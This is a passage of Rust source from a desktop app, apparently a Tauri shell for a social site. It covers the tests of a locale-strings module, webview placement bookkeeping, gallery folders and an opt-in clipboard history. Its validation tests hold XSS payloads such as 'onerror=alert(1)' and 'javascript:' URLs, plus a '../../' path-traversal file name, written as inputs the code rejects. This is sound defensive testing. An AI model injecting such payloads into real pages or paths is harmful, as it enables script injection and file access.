.filter(|(key, _)| prefixes.iter().any(|prefix| key.starts_with(prefix)))
.map(|(key, value)| (key.clone(), serde_json::Value::String(value.clone())))
.collect();
serde_json::json!({ "locale": self.locale, "dir": if is_rtl(&self.locale) { "rtl" } else { "ltr" }, "messages": messages })
}
}
/// The script that hands a site tab its strings (`payload`, see [`NativeStrings::page_payload`]):
/// delivered through the page runtime (queued in `__wbI18n` until it exists), and only on the
/// site's primary origin: other sites' tabs run the same document-start scripts and must not get them.
pub fn page_script(site: &crate::site::SiteSpec, payload: &serde_json::Value) -> String {
let script = crate::tabs::deliver_script(site.runtime_global, "i18n", "set", "__wbI18n", &payload.to_string());
format!("if(location.origin==='{}'){script}", site.primary_origin())
}
/// The OS language preferences, most preferred first (`tr-TR`, `en-US`), as valid tags.
pub fn system_locales() -> Vec<String> {
sys_locale::get_locales()
.map(|tag| tag.replace('_', "-"))
// POSIX locales may carry an encoding or modifier (`tr_TR.UTF-8@euro`).
.map(|tag| tag.split(['.', '@']).next().unwrap_or("").to_owned())
.filter(|tag| valid_tag(tag))
.take(8)
.collect()
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn page_script_is_guarded_to_the_site_origin() {
let payload = strings(&[("x.fab.title", "wayBetter"), ("native.notify.title", "Hi")]).page_payload(&["x."]);
let script = page_script(&crate::site::testing::SITE, &payload);
assert!(script.starts_with("if(location.origin==='https://x.com')("), "{script}");
assert!(script.contains("x.fab.title") && !script.contains("native.notify.title"), "{script}");
}
fn strings(messages: &[(&str, &str)]) -> NativeStrings {
NativeStrings {
locale: "tr".into(),
preference: "site".into(),
messages: messages.iter().map(|(k, v)| ((*k).to_owned(), (*v).to_owned())).collect(),
}
}
#[test]
fn tags_are_validated() {
for good in ["tr", "pt-BR", "zh-Hant", "ar-x-fm", "fil", "en-GB"] {
assert!(valid_tag(good), "{good}");
}
for bad in ["", "t", "english", "tr_TR", "tr-", "tr-<x>", "a-b", "zh-Hant-TW-far-too-long-for-a-language-tag"] {
assert!(!valid_tag(bad), "{bad}");
}
assert!(is_rtl("ar-x-fm") && is_rtl("he") && !is_rtl("tr"));
}
#[test]
fn strings_are_plain_text_only() {
assert!(strings(&[("native.alert.title", "“{keyword}” geçti"), ("x.toast.saved", "Kaydedildi\n")]).validated().is_ok());
for bad in ["<img src=x onerror=alert(1)>", "a < b / <script>", "&lt;b&gt;", "javascript:alert(1)", "a\u{202e}b", "bell\u{7}"] {
assert!(strings(&[("x.a", bad)]).validated().is_err(), "{bad:?}");
}
assert!(strings(&[("x.a", "Boyut < 8 MB")]).validated().is_ok());
assert!(strings(&[("X.bad", "x")]).validated().is_err());
assert!(strings(&[("x.a", &"a".repeat(MAX_VALUE + 1))]).validated().is_err());
let mut many = strings(&[]);
for i in 0..=MAX_STRINGS {
many.messages.insert(format!("x.k{i}"), "v".into());
}
assert!(many.validated().is_err());
let mut bad_pref = strings(&[]);
bad_pref.preference = "everything".into();
assert!(bad_pref.validated().is_err());
}
#[test]
fn lookups_fall_back_to_english_and_fill_placeholders() {
let s = strings(&[("native.alert.body", "{handle}: {text}"), ("native.empty", "")]);
assert_eq!(s.get("native.missing", "Fallback"), "Fallback");
assert_eq!(s.get("native.empty", "Fallback"), "Fallback");
assert_eq!(s.format("native.alert.body", "", &[("handle", "@a"), ("text", "hi {x}")]), "@a: hi {x}");
// A value is never expanded again, even when it spells another placeholder.
assert_eq!(s.format("native.alert.body", "", &[("handle", "{text}"), ("text", "hi")]), "{text}: hi");
assert_eq!(s.format("native.missing", "{a} {b} {", &[("a", "1")]), "1 {b} {");
let payload = s.page_payload(&["native.alert"]);
assert_eq!(payload["messages"].as_object().unwrap().len(), 1);
assert_eq!(payload["dir"], "ltr");
}
#[test]
fn system_locales_are_tags() {
for tag in system_locales() {
assert!(valid_tag(&tag), "{tag}");
}
}
}

View file

@ -0,0 +1,210 @@
//! Native placement bookkeeping for tab webviews, headless-testable.
//!
//! - [`Placements::place`]: what each child webview last got, so a sync that changes nothing costs
//! no native call (a WebView2 `SetBounds` re-lays out the whole page; `show` re-sends
//! visibility), and a sync that only moves one pane touches only that pane.
//! - [`Placements::follow`]: the window was resized before the shell laid out again. Each visible
//! child is re-placed natively from the last layout (no JS round trip), so panes stay glued to
//! the window while it is dragged, maximized or snapped; the shell's exact layout replaces the
//! estimate a frame or two later.
//! - [`follow_rect`]: the estimate. The layout's outer margins are fixed (titlebar, address bars
//! and resize border on top/left, the border on right/bottom) and everything between them scales
//! proportionally, which is what the shell's split view does with its panes.
use std::collections::HashMap;
/// A rectangle in logical px: x, y, width, height.
pub type Rect = (f64, f64, f64, f64);
/// What changed for one child in [`Placements::place`].
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub struct Changed {
pub bounds: bool,
pub visible: bool,
}
#[derive(Clone, Copy, Debug, PartialEq)]
struct Placed {
rect: Rect,
visible: bool,
}
/// The outer margins of a layout: everything between them scales with the window.
#[derive(Clone, Copy, Debug, PartialEq)]
pub struct Frame {
pub left: f64,
pub top: f64,
pub right: f64,
pub bottom: f64,
}
impl Frame {
/// The margins around `rects` in a window of `size`. `None` without a rectangle.
pub fn around<'a>(rects: impl IntoIterator<Item = &'a Rect>, size: (f64, f64)) -> Option<Self> {
let mut bounds: Option<(f64, f64, f64, f64)> = None;
for &(x, y, w, h) in rects {
let (l, t, r, b) = bounds.unwrap_or((x, y, x + w, y + h));
bounds = Some((l.min(x), t.min(y), r.max(x + w), b.max(y + h)));
}
let (l, t, r, b) = bounds?;
Some(Self { left: l, top: t, right: (size.0 - r).max(0.0), bottom: (size.1 - b).max(0.0) })
}
}
/// Maps one edge from an old span to a new one: fixed margins, proportional in between.
fn edge(value: f64, start: f64, old_end: f64, new_end: f64) -> f64 {
let old = old_end - start;
if old <= 1.0 {
return value;
}
start + (value - start) * ((new_end - start).max(0.0) / old)
}
/// Where `rect` (laid out in a window of `old` size, inside `frame`) goes in a window of `new`
/// size. Edges are mapped, not the size, so neighbouring panes keep sharing their border; the
/// result is in whole px with at least 1x1.
pub fn follow_rect(rect: Rect, old: (f64, f64), new: (f64, f64), frame: Frame) -> Rect {
let (x, y, w, h) = rect;
let map_x = |v: f64| edge(v, frame.left, old.0 - frame.right, new.0 - frame.right).round();
let map_y = |v: f64| edge(v, frame.top, old.1 - frame.bottom, new.1 - frame.bottom).round();
let (left, top) = (map_x(x), map_y(y));
let (right, bottom) = (map_x(x + w), map_y(y + h));
(left, top, (right - left).max(1.0), (bottom - top).max(1.0))
}
/// Last native placement per child webview label, and the window size the shell laid them out in.
#[derive(Debug, Default)]
pub struct Placements {
tabs: HashMap<String, Placed>,
window: Option<(f64, f64)>,
}
impl Placements {
pub fn was_visible(&self, label: &str) -> bool {
self.tabs.get(label).is_some_and(|placed| placed.visible)
}
/// Records `label` at `rect`/`visible` and says what differs from its last placement (a child
/// never placed before differs in both).
pub fn place(&mut self, label: &str, rect: Rect, visible: bool) -> Changed {
let next = Placed { rect, visible };
match self.tabs.insert(label.to_owned(), next) {
Some(last) => Changed { bounds: last.rect != rect, visible: last.visible != visible },
None => Changed { bounds: true, visible: true },
}
}
/// A child webview was closed: a new one with the same label starts from scratch.
pub fn forget(&mut self, label: &str) {
self.tabs.remove(label);
}
/// The window size (logical px) the shell's layout was computed for.
pub fn set_window(&mut self, size: (f64, f64)) {
self.window = Some(size);
}
pub fn window(&self) -> Option<(f64, f64)> {
self.window
}
/// The window is now `size`: new rectangles for the visible children, estimated from the last
/// layout ([`follow_rect`]), already recorded as their placement. Empty when nothing moves.
pub fn follow(&mut self, size: (f64, f64)) -> Vec<(String, Rect)> {
let Some(old) = self.window.replace(size) else { return Vec::new() };
if old == size {
return Vec::new();
}
let visible: Vec<Rect> = self.tabs.values().filter(|p| p.visible).map(|p| p.rect).collect();
let Some(frame) = Frame::around(&visible, old) else { return Vec::new() };
let mut moved = Vec::new();
for (label, placed) in self.tabs.iter_mut().filter(|(_, p)| p.visible) {
let rect = follow_rect(placed.rect, old, size, frame);
if rect != placed.rect {
placed.rect = rect;
moved.push((label.clone(), rect));
}
}
moved.sort_by(|a, b| a.0.cmp(&b.0));
moved
}
}
#[cfg(test)]
mod tests {
use super::*;
const WIN: (f64, f64) = (1360.0, 900.0);
#[test]
fn unchanged_placements_cost_nothing() {
let mut p = Placements::default();
assert_eq!(p.place("tab-a", (5.0, 92.0, 680.0, 803.0), true), Changed { bounds: true, visible: true });
assert_eq!(p.place("tab-a", (5.0, 92.0, 680.0, 803.0), true), Changed { bounds: false, visible: false });
assert_eq!(p.place("tab-a", (5.0, 92.0, 600.0, 803.0), true), Changed { bounds: true, visible: false });
assert_eq!(p.place("tab-a", (5.0, 92.0, 600.0, 803.0), false), Changed { bounds: false, visible: true });
}
#[test]
fn a_recreated_webview_is_placed_again() {
let mut p = Placements::default();
assert!(!p.was_visible("tab-a"));
p.place("tab-a", (5.0, 92.0, 680.0, 803.0), false);
assert!(!p.was_visible("tab-a"));
p.forget("tab-a");
// A fresh webview starts visible: hiding it must not be skipped as "unchanged".
assert_eq!(p.place("tab-a", (5.0, 92.0, 680.0, 803.0), false), Changed { bounds: true, visible: true });
p.place("tab-a", (5.0, 92.0, 680.0, 803.0), true);
assert!(p.was_visible("tab-a"));
}
#[test]
fn frame_is_the_margin_around_the_layout() {
let rects = [(5.0, 92.0, 676.0, 803.0), (687.0, 92.0, 668.0, 803.0)];
assert_eq!(Frame::around(&rects, WIN), Some(Frame { left: 5.0, top: 92.0, right: 5.0, bottom: 5.0 }));
assert_eq!(Frame::around(&[], WIN), None);
}
#[test]
fn follow_keeps_margins_and_scales_between_them() {
let frame = Frame { left: 5.0, top: 92.0, right: 5.0, bottom: 5.0 };
// A single pane fills the frame at any size.
assert_eq!(follow_rect((5.0, 92.0, 1350.0, 803.0), WIN, (1000.0, 700.0), frame), (5.0, 92.0, 990.0, 603.0));
// Two side-by-side panes keep sharing their border, which moves proportionally.
let left = follow_rect((5.0, 92.0, 676.0, 803.0), WIN, (1000.0, 900.0), frame);
let right = follow_rect((687.0, 92.0, 668.0, 803.0), WIN, (1000.0, 900.0), frame);
assert_eq!(left.0, 5.0);
assert_eq!(right.0 + right.2, 995.0);
assert!((right.0 - (left.0 + left.2) - 6.0).abs() <= 2.0, "the gap between panes stays about the same: {left:?} {right:?}");
}
#[test]
fn follow_moves_only_visible_children_and_records_them() {
let mut p = Placements::default();
p.set_window(WIN);
p.place("tab-a", (5.0, 92.0, 1350.0, 803.0), true);
p.place("tab-b", (5.0, 92.0, 1350.0, 803.0), false);
let moved = p.follow((1200.0, 800.0));
assert_eq!(moved, vec![("tab-a".to_owned(), (5.0, 92.0, 1190.0, 703.0))]);
assert_eq!(p.window(), Some((1200.0, 800.0)));
// The shell's exact layout for the new size is then a no-op for native code.
assert_eq!(p.place("tab-a", (5.0, 92.0, 1190.0, 703.0), true), Changed { bounds: false, visible: false });
// The same size again moves nothing.
assert!(p.follow((1200.0, 800.0)).is_empty());
}
#[test]
fn follow_needs_a_known_window() {
let mut p = Placements::default();
p.place("tab-a", (5.0, 92.0, 1350.0, 803.0), true);
assert!(p.follow((1000.0, 700.0)).is_empty());
assert_eq!(p.window(), Some((1000.0, 700.0)));
}
#[test]
fn follow_never_collapses_below_one_px() {
let frame = Frame { left: 5.0, top: 92.0, right: 5.0, bottom: 5.0 };
let (_, _, w, h) = follow_rect((5.0, 92.0, 100.0, 50.0), WIN, (10.0, 10.0), frame);
assert!(w >= 1.0 && h >= 1.0);
}
}

View file

@ -9,20 +9,63 @@
//! - [`site`]: the site adapter ([`site::SiteSpec`], [`site::AccountRules`]).
//! - [`policy`]: webview labels, origin checks and the tab rectangle clamp (security boundary).
//! - [`profiles`]: account profiles, one WebView data directory each, with the account seen inside.
//! - [`plugins`]: owner-installed `*.plugin.js` files, custom CSS and bundled-plugin upgrades.
//! - [`plugins`]: owner-installed `*.plugin.js` files, custom CSS and bundled-plugin upgrades;
//! [`plugins::commands`]: the palette commands site tabs report and the script that runs one.
//! - [`hotfix`]: the signed, data-only hotfix channel.
//! - [`update`]: silent-update scheduling and the crash handshake.
//! - [`tabs`]: tab layout/state payloads, link routing and tab-chrome validation.
//! - [`bridge`]: the tab bridge script every tab gets (URL/title/focus reports, shortcut and link-drag forwarding).
//! - [`layout`]: native placement bookkeeping (unchanged bounds skipped, window-resize follow).
//! - [`i18n`]: the strings native UI and site tabs get in the owner's language (validated data), OS locale.
//! - [`backup`]: the settings backup envelope, secret scrubbing and the plugin/account sections.
//! - [`sync`]: encrypted settings sync through a folder the owner syncs (Argon2id + XChaCha20-Poly1305).
//! - [`theme`]: the owner's theme choice and account/pane themes (envelope checks, which theme a tab
//! shows, its page color and delivery script) over a site's built-in themes.
//! - [`workspaces`]: saved tab/pane/deck layouts, bounded and well-formed (never evaluated).
//! - [`devmode`]: developer mode's debounced watcher of plugins, custom CSS and a theme file.
//! - [`alerts`]: local keyword alerts (keywords, snippets, per-item/per-keyword rate limits).
//! - [`media`]: gallery folders (path containment) and the opt-in clipboard history (private copies skipped).
//! - [`gfonts`]: self-hosted Google Fonts: CSS parsing, URL/woff2 checks, the cache format, the page script;
//! [`fonts`] (`net` feature) downloads and caches them.
//! - [`store`]: installing themes and plugins from `waybetter://install` links, dropped files and the
//! signed multi-app wayBetter Store (allow-list, caps, catalog signatures, staging, install records);
//! downloads with the `net` feature.
//!
//! With the `tauri` feature, [`host`] adds the Tauri glue that does not depend on app state.
//! - [`commands`]: the commands the host serves for every app and who may call them (for `build.rs`);
//! [`testkit`]: capability and caller-check assertions for an app's security tests.
//!
//! With the `tauri` feature, [`host`] adds the Tauri glue that does not depend on app state; with
//! `tauri` and `net`, [`updater`] runs signed native updates and the hotfix channel. With `app`,
//! [`app`] is the whole app around a site: [`app::run_app`] makes the window, the shell and the tab
//! webviews, registers the plugins and serves the generic commands; the app adds its own.
pub mod alerts;
pub mod backup;
pub mod bridge;
pub mod commands;
pub mod devmode;
#[cfg(feature = "net")]
pub mod fonts;
pub mod gfonts;
pub mod hotfix;
pub mod i18n;
pub mod layout;
pub mod media;
pub mod plugins;
pub mod policy;
pub mod profiles;
pub mod site;
pub mod store;
pub mod sync;
pub mod tabs;
pub mod testkit;
pub mod theme;
pub mod update;
pub mod workspaces;
#[cfg(feature = "app")]
pub mod app;
#[cfg(feature = "tauri")]
pub mod host;
#[cfg(all(feature = "tauri", feature = "net"))]
pub mod updater;

View file

@ -0,0 +1,438 @@
//! Gallery folders and the local clipboard history for a shell "Media" side panel (attaching an
//! image to the site's composer is the app's own script). Pure and headless-tested: settings
//! validation, listing images only inside owner-chosen folders, path containment, the bounded
//! clipboard history and its files, PNG encoding. With the `tauri` feature, [`clipboard`] reads the
//! OS clipboard (opt-in, skipping copies password managers mark private). Nothing here posts anything.
use base64::Engine;
use serde::{Deserialize, Serialize};
use std::hash::{Hash, Hasher};
use std::path::{Path, PathBuf};
#[cfg(feature = "tauri")]
pub mod clipboard;
pub const MAX_FOLDERS: usize = 16;
/// Recent images returned to the panel.
pub const MAX_LISTED: usize = 120;
/// Largest file the panel will preview or attach (X accepts up to 15 MB GIFs).
pub const MAX_IMAGE_BYTES: u64 = 16 * 1024 * 1024;
pub const MAX_CLIP_ITEMS: usize = 100;
pub const DEFAULT_CLIP_ITEMS: usize = 30;
pub const MAX_CLIP_TEXT_BYTES: usize = 65_536;
/// The clipboard history index inside the app's clipboard folder (image items are `<id>.png` next to it).
pub const CLIP_INDEX: &str = "history.json";
const IMAGE_EXTENSIONS: [&str; 5] = ["png", "jpg", "jpeg", "gif", "webp"];
#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)]
#[serde(rename_all = "camelCase", default)]
pub struct MediaSettings {
/// Absolute folders the owner picked through the native folder dialog.
pub folders: Vec<String>,
/// Clipboard history is opt-in: nothing is read from the clipboard while this is false.
pub clipboard_enabled: bool,
pub clipboard_max: usize,
}
impl Default for MediaSettings {
fn default() -> Self {
Self { folders: Vec::new(), clipboard_enabled: false, clipboard_max: DEFAULT_CLIP_ITEMS }
}
}
impl MediaSettings {
/// Keeps only existing absolute directories (deduplicated), and bounds the history size.
/// Folders are never added here from arbitrary input by callers other than the native dialog;
/// validation still refuses relative paths so a shell bug cannot widen the scope silently.
pub fn validated(mut self) -> Result<Self, String> {
if self.folders.len() > MAX_FOLDERS {
return Err(format!("VALIDATION: at most {MAX_FOLDERS} gallery folders"));
}
let mut folders: Vec<String> = Vec::new();
for folder in &self.folders {
let path = Path::new(folder);
if !path.is_absolute() {
return Err("VALIDATION: gallery folders must be absolute".into());
}
if !folders.iter().any(|f| same_path(f, folder)) {
folders.push(folder.clone());
}
}
self.folders = folders;
if self.clipboard_max == 0 || self.clipboard_max > MAX_CLIP_ITEMS {
return Err(format!("VALIDATION: clipboard history must keep 1-{MAX_CLIP_ITEMS} items"));
}
Ok(self)
}
/// Adds a folder (from the native dialog). Returns false when it was already present.
pub fn add_folder(&mut self, folder: &Path) -> Result<bool, String> {
if !folder.is_absolute() || !folder.is_dir() {
return Err("VALIDATION: not a folder".into());
}
let text = folder.to_string_lossy().into_owned();
if self.folders.iter().any(|f| same_path(f, &text)) {
return Ok(false);
}
if self.folders.len() >= MAX_FOLDERS {
return Err(format!("VALIDATION: at most {MAX_FOLDERS} gallery folders"));
}
self.folders.push(text);
Ok(true)
}
}
fn same_path(a: &str, b: &str) -> bool {
match (std::fs::canonicalize(a), std::fs::canonicalize(b)) {
(Ok(a), Ok(b)) => a == b,
_ => a == b,
}
}
pub fn is_image_name(path: &Path) -> bool {
path.extension()
.and_then(|ext| ext.to_str())
.map(|ext| IMAGE_EXTENSIONS.contains(&ext.to_ascii_lowercase().as_str()))
.unwrap_or(false)
}
pub fn mime_for(path: &Path) -> &'static str {
match path.extension().and_then(|e| e.to_str()).map(|e| e.to_ascii_lowercase()).as_deref() {
Some("png") => "image/png",
Some("jpg" | "jpeg") => "image/jpeg",
Some("gif") => "image/gif",
Some("webp") => "image/webp",
_ => "application/octet-stream",
}
}
#[derive(Clone, Debug, PartialEq, Serialize)]
#[serde(rename_all = "camelCase")]
pub struct ImageEntry {
pub path: String,
pub name: String,
pub folder: String,
pub modified_ms: i64,
pub size: u64,
}
/// Newest images directly inside the chosen folders (not recursive, symlinks not followed out).
pub fn list_recent(folders: &[String], limit: usize) -> Vec<ImageEntry> {
let mut out = Vec::new();
for folder in folders {
let Ok(root) = std::fs::canonicalize(folder) else { continue };
let Ok(entries) = std::fs::read_dir(&root) else { continue };
for entry in entries.flatten() {
let path = entry.path();
if !is_image_name(&path) {
continue;
}
// Resolve links and require the target to stay inside the folder.
let Ok(real) = std::fs::canonicalize(&path) else { continue };
if !real.starts_with(&root) {
continue;
}
let Ok(meta) = std::fs::metadata(&real) else { continue };
if !meta.is_file() || meta.len() == 0 || meta.len() > MAX_IMAGE_BYTES {
continue;
}
let modified_ms = meta
.modified()
.ok()
.and_then(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
.map(|d| d.as_millis() as i64)
.unwrap_or(0);
out.push(ImageEntry {
path: path.to_string_lossy().into_owned(),
name: entry.file_name().to_string_lossy().into_owned(),
folder: folder.clone(),
modified_ms,
size: meta.len(),
});
}
}
out.sort_by(|a, b| b.modified_ms.cmp(&a.modified_ms).then_with(|| a.path.cmp(&b.path)));
out.truncate(limit.min(MAX_LISTED));
out
}
/// Resolves `requested` and accepts it only when it is an image file inside one of `folders`.
/// This is the only way a gallery path from the shell reaches a file read.
pub fn resolve_in_folders(folders: &[String], requested: &str) -> Result<PathBuf, String> {
let deny = || "FORBIDDEN: file is outside the gallery folders".to_string();
let path = Path::new(requested);
if !path.is_absolute() || !is_image_name(path) {
return Err(deny());
}
let real = std::fs::canonicalize(path).map_err(|_| deny())?;
let parent = real.parent().ok_or_else(deny)?;
let inside = folders
.iter()
.filter_map(|f| std::fs::canonicalize(f).ok())
.any(|root| parent == root);
if !inside || !is_image_name(&real) {
return Err(deny());
}
let meta = std::fs::metadata(&real).map_err(|_| deny())?;
if !meta.is_file() || meta.len() == 0 || meta.len() > MAX_IMAGE_BYTES {
return Err("VALIDATION: image must be 1 byte to 16 MB".into());
}
Ok(real)
}
pub fn data_url(mime: &str, bytes: &[u8]) -> String {
format!("data:{mime};base64,{}", base64::engine::general_purpose::STANDARD.encode(bytes))
}
// ---------------------------------------------------------------------------------------------
// Clipboard history
#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)]
#[serde(rename_all = "camelCase")]
pub struct ClipItem {
pub id: String,
/// "text" or "image".
pub kind: String,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub text: Option<String>,
/// PNG file name inside the clipboard folder (image items only).
#[serde(default, skip_serializing_if = "Option::is_none")]
pub file: Option<String>,
pub hash: String,
pub at: i64,
}
#[derive(Clone, Debug, Default, PartialEq, Serialize, Deserialize)]
pub struct ClipHistory {
pub items: Vec<ClipItem>,
}
pub fn content_hash(kind: &str, bytes: &[u8]) -> String {
let mut hasher = std::collections::hash_map::DefaultHasher::new();
kind.hash(&mut hasher);
bytes.hash(&mut hasher);
format!("{:016x}", hasher.finish())
}
pub fn valid_clip_id(id: &str) -> bool {
id.len() == 32 && id.bytes().all(|b| b.is_ascii_hexdigit())
}
impl ClipHistory {
/// Drops malformed entries (e.g. a hand-edited file naming another path).
pub fn sanitized(mut self) -> Self {
self.items.retain(|item| {
valid_clip_id(&item.id)
&& match item.kind.as_str() {
"text" => item.text.as_ref().is_some_and(|t| !t.is_empty() && t.len() <= MAX_CLIP_TEXT_BYTES),
"image" => item.file.as_deref() == Some(format!("{}.png", item.id).as_str()),
_ => false,
}
});
self
}
/// Puts `item` first. A repeat of existing content moves that entry to the front instead of
/// duplicating it. Returns items evicted beyond `max` (their image files must be deleted).
pub fn push(&mut self, item: ClipItem, max: usize) -> Vec<ClipItem> {
let mut evicted = Vec::new();
if let Some(index) = self.items.iter().position(|i| i.hash == item.hash) {
let mut existing = self.items.remove(index);
existing.at = item.at;
self.items.insert(0, existing);
// The new item's own image file (if any) is redundant.
if item.file.is_some() {
evicted.push(item);
}
} else {
self.items.insert(0, item);
}
evicted.extend(self.trim(max));
evicted
}
pub fn trim(&mut self, max: usize) -> Vec<ClipItem> {
let keep = max.clamp(1, MAX_CLIP_ITEMS);
if self.items.len() > keep {
self.items.split_off(keep)
} else {
Vec::new()
}
}
pub fn remove(&mut self, id: &str) -> Option<ClipItem> {
let index = self.items.iter().position(|i| i.id == id)?;
Some(self.items.remove(index))
}
pub fn has_hash(&self, hash: &str) -> bool {
self.items.iter().any(|i| i.hash == hash)
}
}
/// The history kept in clipboard folder `dir` (malformed entries dropped); empty when missing.
pub fn load_history(dir: &Path) -> ClipHistory {
std::fs::read_to_string(dir.join(CLIP_INDEX))
.ok()
.and_then(|text| serde_json::from_str::<ClipHistory>(&text).ok())
.map(ClipHistory::sanitized)
.unwrap_or_default()
}
pub fn save_history(dir: &Path, history: &ClipHistory) -> Result<(), String> {
std::fs::create_dir_all(dir).map_err(|error| format!("STORAGE: {error}"))?;
let json = serde_json::to_string(history).map_err(|_| "STORAGE: serialization failed")?;
std::fs::write(dir.join(CLIP_INDEX), json).map_err(|error| format!("STORAGE: {error}"))
}
/// Deletes the image files of `items` (evicted or removed entries) from clipboard folder `dir`.
pub fn delete_files(dir: &Path, items: &[ClipItem]) {
for item in items {
if let Some(file) = &item.file {
let _ = std::fs::remove_file(dir.join(file));
}
}
}
/// Encodes raw RGBA pixels (as the OS clipboard hands them over) as a PNG.
pub fn encode_png(width: usize, height: usize, rgba: Vec<u8>) -> Option<Vec<u8>> {
let image = image::RgbaImage::from_raw(u32::try_from(width).ok()?, u32::try_from(height).ok()?, rgba)?;
let mut out = std::io::Cursor::new(Vec::new());
image.write_to(&mut out, image::ImageFormat::Png).ok()?;
Some(out.into_inner())
}
#[cfg(test)]
mod tests {
use super::*;
fn clip(id: char, hash: &str, image: bool) -> ClipItem {
let id: String = std::iter::repeat(id).take(32).collect();
ClipItem {
file: image.then(|| format!("{id}.png")),
text: (!image).then(|| "hello".into()),
kind: if image { "image" } else { "text" }.into(),
id,
hash: hash.into(),
at: 1,
}
}
#[test]
fn settings_defaults_are_opt_in() {
let settings = MediaSettings::default();
assert!(!settings.clipboard_enabled);
assert!(settings.folders.is_empty());
assert!(settings.validated().is_ok());
}
#[test]
fn settings_reject_relative_folders_and_bad_sizes() {
let bad = MediaSettings { folders: vec!["relative/dir".into()], ..Default::default() };
assert!(bad.validated().is_err());
let bad = MediaSettings { clipboard_max: 0, ..Default::default() };
assert!(bad.validated().is_err());
let bad = MediaSettings { clipboard_max: MAX_CLIP_ITEMS + 1, ..Default::default() };
assert!(bad.validated().is_err());
}
#[test]
fn listing_and_resolving_stay_inside_folders() {
let root = tempfile::tempdir().unwrap();
let gallery = root.path().join("gallery");
let outside = root.path().join("outside");
std::fs::create_dir_all(gallery.join("nested")).unwrap();
std::fs::create_dir_all(&outside).unwrap();
std::fs::write(gallery.join("a.png"), b"png").unwrap();
std::fs::write(gallery.join("notes.txt"), b"txt").unwrap();
std::fs::write(gallery.join("empty.jpg"), b"").unwrap();
std::fs::write(gallery.join("nested").join("deep.png"), b"png").unwrap();
std::fs::write(outside.join("secret.png"), b"png").unwrap();
let folders = vec![gallery.to_string_lossy().into_owned()];
let listed = list_recent(&folders, 50);
assert_eq!(listed.iter().map(|e| e.name.as_str()).collect::<Vec<_>>(), vec!["a.png"]);
assert!(resolve_in_folders(&folders, &gallery.join("a.png").to_string_lossy()).is_ok());
for denied in [
outside.join("secret.png"),
gallery.join("..").join("outside").join("secret.png"),
gallery.join("nested").join("deep.png"),
gallery.join("notes.txt"),
gallery.join("missing.png"),
] {
assert!(resolve_in_folders(&folders, &denied.to_string_lossy()).is_err(), "{}", denied.display());
}
assert!(resolve_in_folders(&folders, "a.png").is_err());
assert!(resolve_in_folders(&[], &gallery.join("a.png").to_string_lossy()).is_err());
}
#[test]
fn add_folder_dedupes_and_requires_dirs() {
let root = tempfile::tempdir().unwrap();
let mut settings = MediaSettings::default();
assert!(settings.add_folder(root.path()).unwrap());
assert!(!settings.add_folder(root.path()).unwrap());
assert!(settings.add_folder(&root.path().join("missing")).is_err());
assert_eq!(settings.folders.len(), 1);
}
#[test]
fn history_dedupes_moves_to_front_and_trims() {
let mut history = ClipHistory::default();
assert!(history.push(clip('a', "h1", false), 2).is_empty());
assert!(history.push(clip('b', "h2", true), 2).is_empty());
// Same content again: no duplicate; the redundant new image file is reported for cleanup.
let evicted = history.push(clip('c', "h2", true), 2);
assert_eq!(evicted.len(), 1);
assert_eq!(history.items.len(), 2);
assert_eq!(history.items[0].hash, "h2");
let evicted = history.push(clip('d', "h3", false), 2);
assert_eq!(evicted.iter().map(|i| i.hash.as_str()).collect::<Vec<_>>(), vec!["h1"]);
assert_eq!(history.items.iter().map(|i| i.hash.as_str()).collect::<Vec<_>>(), vec!["h3", "h2"]);
}
#[test]
fn history_sanitize_drops_foreign_files() {
let mut bad = clip('e', "h", true);
bad.file = Some("../../secret.png".into());
let history = ClipHistory { items: vec![bad, clip('f', "h2", true), clip('0', "h3", false)] }.sanitized();
assert_eq!(history.items.len(), 2);
}
#[test]
fn mime_and_extension() {
assert_eq!(mime_for(Path::new("A.JPG")), "image/jpeg");
assert!(is_image_name(Path::new("x.webp")));
assert!(!is_image_name(Path::new("x.svg")));
}
#[test]
fn history_files_round_trip_and_eviction_deletes_images() {
let root = tempfile::tempdir().unwrap();
let dir = root.path().join("clipboard");
assert!(load_history(&dir).items.is_empty(), "missing folder: empty history");
let image = clip('a', "h1", true);
let history = ClipHistory { items: vec![image.clone(), clip('b', "h2", false)] };
save_history(&dir, &history).unwrap();
assert_eq!(load_history(&dir), history);
std::fs::write(dir.join(image.file.as_ref().unwrap()), b"png").unwrap();
delete_files(&dir, &[image.clone()]);
assert!(!dir.join(image.file.unwrap()).exists());
std::fs::write(dir.join(CLIP_INDEX), "{not json").unwrap();
assert!(load_history(&dir).items.is_empty(), "a damaged index is an empty history");
}
#[test]
fn png_encoding_checks_dimensions() {
let png = encode_png(2, 1, vec![255, 0, 0, 255, 0, 255, 0, 255]).unwrap();
assert_eq!(&png[..8], b"\x89PNG\r\n\x1a\n");
assert!(encode_png(2, 2, vec![0; 4]).is_none(), "too few pixels");
}
#[test]
fn data_urls_are_base64() {
assert_eq!(data_url("image/png", b"PNG"), "data:image/png;base64,UE5H");
}
}

View file

@ -0,0 +1,108 @@
//! The OS clipboard for the opt-in clipboard history (`tauri` feature): reading text or an image,
//! skipping copies that password managers and similar apps mark as private, and the polling loop.
//! Nothing is read while the owner's opt-in is off, and the OS clipboard handle is released then.
use super::{content_hash, MAX_CLIP_TEXT_BYTES};
use std::time::Duration;
/// Raw RGBA larger than this (e.g. a 4K screenshot is ~33 MB) is skipped.
pub const MAX_CLIP_RGBA_BYTES: usize = 64 * 1024 * 1024;
/// A new copy: text, or an image as raw RGBA (`hash`, width, height, pixels).
pub enum Seen {
Text(String, String),
Image(String, usize, usize, Vec<u8>),
}
impl Seen {
pub fn hash(&self) -> &str {
match self {
Seen::Text(hash, _) | Seen::Image(hash, ..) => hash,
}
}
}
fn read(clipboard: &mut arboard::Clipboard) -> Option<Seen> {
if let Ok(text) = clipboard.get_text() {
if !text.trim().is_empty() && text.len() <= MAX_CLIP_TEXT_BYTES {
return Some(Seen::Text(content_hash("text", text.as_bytes()), text));
}
}
let image = clipboard.get_image().ok()?;
if image.bytes.is_empty() || image.bytes.len() > MAX_CLIP_RGBA_BYTES {
return None;
}
Some(Seen::Image(content_hash("image", &image.bytes), image.width, image.height, image.bytes.into_owned()))
}
/// Windows clipboard change counter: lets the poll skip reading (and hashing a possibly large
